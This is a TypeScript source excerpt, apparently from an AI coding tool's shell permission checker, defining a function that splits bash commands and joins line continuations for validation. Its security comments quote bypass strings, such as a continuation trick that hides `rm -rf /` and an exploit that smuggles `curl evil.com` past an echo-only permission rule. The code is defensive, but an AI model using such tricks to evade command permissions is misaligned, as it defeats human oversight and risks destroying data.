Function splitCommandWithOperators

src/utils/bash/commands.ts:85–249

(command: string)

export type { CommandPrefixResult, CommandSubcommandPrefixResult }

export function splitCommandWithOperators(command: string): string[] {
  const parts: (ParseEntry | null)[] = []

  // Generate unique placeholders for this parse to prevent injection attacks
  // Security: Using random salt prevents malicious commands from containing
  // literal placeholder strings that would be replaced during parsing
  const placeholders = generatePlaceholders()

  // Extract heredocs before parsing - shell-quote parses << incorrectly
  const { processedCommand, heredocs } = extractHeredocs(command)

  // Join continuation lines: backslash followed by newline removes both characters
  // This must happen before newline tokenization to treat continuation lines as single commands
  // SECURITY: We must NOT add a space here - shell joins tokens directly without space.
  // Adding a space would allow bypass attacks like `tr\<newline>aceroute` being parsed as
  // `tr aceroute` (two tokens) while shell executes `traceroute` (one token).
  // SECURITY: We must only join when there's an ODD number of backslashes before the newline.
  // With an even number (e.g., `\\<newline>`), the backslashes pair up as escape sequences,
  // and the newline is a command separator, not a continuation. Joining would cause us to
  // miss checking subsequent commands (e.g., `echo \\<newline>rm -rf /` would be parsed as
  // one command but shell executes two).
  const commandWithContinuationsJoined = processedCommand.replace(
    /\\+\n/g,
    match => {
      const backslashCount = match.length - 1 // -1 for the newline
      if (backslashCount % 2 === 1) {
        // Odd number of backslashes: last one escapes the newline (line continuation)
        // Remove the escaping backslash and newline, keep remaining backslashes
        return '\\'.repeat(backslashCount - 1)
      } else {
        // Even number of backslashes: all pair up as escape sequences
        // The newline is a command separator, not continuation - keep it
        return match
      }
    },
  )

  // SECURITY: Also join continuations on the ORIGINAL command (pre-heredoc-
  // extraction) for use in the parse-failure fallback paths. The fallback
  // returns a single-element array that downstream permission checks process
  // as ONE subcommand. If we return the ORIGINAL (pre-join) text, the
  // validator checks `foo\<NL>bar` while bash executes `foobar` (joined).
  // Exploit: `echo "$\<NL>{}" ; curl evil.com` — pre-join, `$` and `{}` are
  // split across lines so `${}` isn't a dangerous pattern; `;` is visible but
  // the whole thing is ONE subcommand matching `Bash(echo:*)`. Post-join,
  // zsh/bash executes `echo "${}" ; curl evil.com` → curl runs.
  // We join on the ORIGINAL (not processedCommand) so the fallback doesn't
  // need to deal with heredoc placeholders.
  const commandOriginalJoined = command.replace(/\\+\n/g, match => {
    const backslashCount = match.length - 1
    if (backslashCount % 2 === 1) {
      return '\\'.repeat(backslashCount - 1)
    }
    return match
  })

  // Try to parse the command to detect malformed syntax
  const parseResult = tryParseShellCommand(